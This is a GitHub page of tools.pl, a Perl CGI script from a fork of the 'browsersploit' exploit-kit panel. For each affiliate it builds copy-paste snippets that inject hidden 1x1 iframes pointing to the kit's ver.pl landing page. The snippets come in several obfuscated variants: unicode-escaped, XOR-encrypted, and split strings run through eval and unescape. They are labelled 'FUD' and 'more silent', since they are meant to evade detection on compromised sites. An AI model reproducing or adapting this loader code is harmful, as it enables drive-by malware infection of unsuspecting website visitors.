forked from julienbedard/browsersploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtools.pl
More file actions
225 lines (179 loc) · 7.74 KB
/
tools.pl
File metadata and controls
225 lines (179 loc) · 7.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#!/usr/bin/perl
# index.pl
use CGI;
use CGI::Carp qw/fatalsToBrowser warningsToBrowser/;
use CGI::Session ( '-ip_match' );
use DBI;
require "xpl/config.pl";
require "xpl/lib/JsXOR.pm";
$session = CGI::Session->load();
$q = new CGI;
$cook = $q->param('cook');
if($session->is_expired)
{
print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
print "Your has session expired. Please login again.";
print "<br/><a href='login.pl>Login</a>";
}
elsif($session->is_empty)
{
#print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
print "Status: 301 Moved\nLocation: login.pl\n\n";
}
else
{
$db_name = 'DBI:mysql:' . $config{MysqlDB};
$dbh = DBI->connect($db_name, $config{MysqlUser}, $config{MysqlPass}) || die "Could not connect to database: $DBI::errstr";
$sth = $dbh->prepare( "SELECT * FROM affiliates WHERE cook = ?" );
$sth->execute( $cook );
$sth->bind_columns( \$id, \$username, \$password, \$affid, \$email, \$cook, \$cook12, \$cook13, \$cook14, \$cook15, \$cook16, \$cook17, \$cook18, \$cook19, \$cook20, \$cook21, \$cook22, \$cook23,);
$sth->fetch();
$aff = $affid;
##################### Begin XOR encryption ##################
$urliframe = '<iframe src="' . $config{UrlToFolder} . '/ver.pl?aff=' . $aff . '" marginwidth="1px" align="center" frameborder="0" height="1" scrolling="no" width="1"></iframe>';
my @values = split('', $urliframe);
foreach my $val (@values)
{
$val =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
$FUD .= '\u00' . $val;
}
$firststage = 'document.write(\'' . $FUD . '\')';
$secondstage = JsXOR::excryptxorframe($firststage);
$encryptediframe3 = '<script type="text/javascript">' . $secondstage . '</script>';
$encryptediframe3 =~ s/</</g;
$encryptediframe3 =~ s/>/>/g;
$encryptediframe3 =~ s/"/"/g;
###################### END XOR Encryption ###################
###################### BEGIN COOKIE ENCRYPTION #####################
$urliframe = '<iframe src="' . $config{UrlToFolder} . '/ver.pl?aff=' . $aff . '" marginwidth="1px" align="center" frameborder="0" height="1" scrolling="no" width="1"></iframe>';
$thingsencrypted = JsXOR::newxorframe($urliframe);
$encryptediframe2 = '<script type="text/javascript">' . $thingsencrypted . '</script>';
$encryptediframe2 =~ s/</</g;
$encryptediframe2 =~ s/>/>/g;
$encryptediframe2 =~ s/"/"/g;
###################### END COOKIE ENCRYPTION #####################
###################### BEGIN OBF ENCRYPTION ######################
$urliframe = '<iframe src="' . $config{UrlToFolder} . '/ver.pl?aff=' . $aff . '" marginwidth="1px" align="center" frameborder="0" height="1" scrolling="no" width="1"></iframe>';
$randomerase = JsXOR::generate_random_string(2);
$garbagecomment = JsXOR::generate_random_string(15);
$urliframe2 = 'document.write(\'' . $urliframe . '\')';
$FUD = "";
my @values = split('', $urliframe2);
foreach my $val (@values)
{
$val =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
$FUD .= $randomerase . $val;
}
my @bitss = split('', $randomerase);
$repbit1 = $bitss[0];
$repbit2 = $bitss[1];
$repbit3 = $bitss[2];
$repbit4 = $bitss[3];
$secondstage = <<EOF;
blah='$FUD';
rep1 = '%';
repbit1 = '$repbit1';
repbit2 = '$repbit2';
repbit3 = '$repbit3';
repbit4 = '$repbit4';
bfbits = [117, 110, 101, 115, 99, 97, 112, 101];
bftext = '';
for (i=0; i<bfbits.length; i++) {
bftext += String./* $garbagecomment */fromCharCode(bfbits[i]);
}
blahstring="var blahfunction1=" + bftext;
eval(blahstring);
rep =repbit1 + repbit2 + repbit3 + repbit4;
ume = blah.replace(new RegExp(rep, "g"), rep1);
eme = blahfunction1(ume);
eval(eme);
EOF
$encryptediframe = '<script type="text/javascript">' . $secondstage . '</script>';
$encryptediframe =~ s/</</g;
$encryptediframe =~ s/>/>/g;
$encryptediframe =~ s/"/"/g;
##################################################################
######################## HEADER JS IFRAME ########################
$urliframe = $config{UrlToFolder} . '/trackstats.pl?aff=' . $aff;
$jsiframehead = '<script type="text/javascript" language="javascript" src="' . $urliframe . '"></script>';
$jsiframehead =~ s/</</g;
$jsiframehead =~ s/>/>/g;
$jsiframehead =~ s/"/"/g;
$urliframe = '<iframe src="' . $config{UrlToFolder} . '/ver.pl?aff=' . $aff . '" marginwidth="1px" align="center" frameborder="0" height="1" scrolling="no" width="1"></iframe>';
######################### END JS IFRAME ##########################
print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
indexalltab();
}
sub indexalltab
{
print <<THEHTMLINDEX;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml" lang="fr"><HEAD><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<TITLE>$config{NetName} - Tools</TITLE>
<LINK rel="stylesheet" type="text/css" href="style/style3.css" media="all">
</HEAD><BODY>
<DIV id="top_nav">
<DIV class="content">
<UL>
<LI><A href="index.pl?cook=$cook" title="Home" class="Home">Home</A></LI>
<LI><A href="tools.pl?cook=$cook" title="tools">Tools</A></LI>
<LI><A href="stats.pl?cook=$cook" title="Report">Report</A></LI>
<LI><A href="programs.pl?cook=$cook" title="Account">Account</A></LI>
<LI><A href="help.pl?cook=$cook" title="Support">Support</A></LI>
<LI><A href="#" title=""></A></LI>
<LI><A href="login.pl?action=logout" title="Log Out">Log Out</A></LI>
</UL>
</DIV>
</DIV>
<center>
<br><br><br>
<b>
<h2>[ Tools Section ]</h2><br>
<DIV id="main">
<DIV class="content">
<DIV id="pages">
<DIV id="home">
<DIV>
</DIV>
<br><br>
Direct link (For DRM):<br>
<input type="text" style="width: 100%;" readonly="readonly" onclick="this.focus(); this.select();" value="$config{UrlToFolder}/ver.pl?aff=$aff">
<br><br>
Iframe link ( To use without javascript [ NOT RECOMENDED ] ):<br>
<textarea style="width: 100%; height: 100%;" readonly="readonly" onclick="this.focus(); this.select();">$urliframe</textarea>
<br><br>
JS Iframe Head (More silent):<br>
<textarea style="width: 100%; height: 100%;" readonly="readonly" onclick="this.focus(); this.select();">$jsiframehead</textarea>
<br><br>
XOR Encrypted Iframe link ( To use with javascript [ RECOMENDED ] ):<br>
<textarea style="width: 100%; height: 110px; font-size:4;" readonly="readonly" onclick="this.focus(); this.select();">$encryptediframe3</textarea>
<br><br>
Cookie Encrypted Iframe link ( To use with javascript [ RECOMENDED ] ):<br>
<textarea style="width: 100%; height: 110px; font-size:4;" readonly="readonly" onclick="this.focus(); this.select();">$encryptediframe2</textarea>
<br><br>
Split Encrypted Iframe link ( To use with javascript [ RECOMENDED ] ):<br>
<textarea style="width: 100%; height: 110px; font-size:4;" readonly="readonly" onclick="this.focus(); this.select();">$encryptediframe</textarea>
<br><br>
Downloadable executable:<br>
<input type="text" style="width: 100%;" readonly="readonly" onclick="this.focus(); this.select();" value="Upon request only">
<br><br>
</DIV>
</DIV>
</DIV>
</DIV>
<br><br><br>
if you have questions or software request, contact us at <a href="mailto:$config{NetEmail}"> $config{NetEmail}</a>
<br><br>
</center>
<DIV id="footer">
<DIV class="content">
<DIV class="copyright">
<P><BR>
</DIV>
</DIV>
</DIV>
</body>
</html>
THEHTMLINDEX
}
1;